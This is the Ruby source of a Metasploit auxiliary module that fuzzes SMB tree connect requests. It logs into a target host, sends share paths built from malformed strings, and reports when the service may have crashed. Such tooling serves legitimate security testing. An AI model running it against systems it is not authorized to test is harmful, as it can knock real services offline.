##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::SMB
	include Msf::Auxiliary::Fuzzer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SMB Tree Connect Request Fuzzer',
			'Description'    => %q{
				This module sends a series of SMB tree connect
			requests using malicious strings.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE
		))
	end

	def do_smb_connect(pkt,opts={})
		@connected = false
		connect
		simple.login(
			datastore['SMBName'],
			datastore['SMBUser'],
			datastore['SMBPass'],
			datastore['SMBDomain']
		)

		@connected = true
		simple.connect("\\\\#{datastore['RHOST']}\\#{pkt}")
	end

	def run
		last_str = nil
		last_inp = nil
		last_err = nil

		cnt = 0

		fuzz_strings do |str|
			cnt += 1

			if(cnt % 100 == 0)
				print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}")
			end

			begin
				do_smb_connect(str, 0.25)
			rescue ::Interrupt
				print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}")
				raise $!
			rescue ::Exception => e
				last_err = e
			ensure
				disconnect
			end

			if(not @connected)
				if(last_str)
					print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
				else
					print_status("Could not connect to the service: #{last_err}")
				end
				return
			end

			last_str = str
			last_inp = @last_fuzzer_input
		end
	end
end
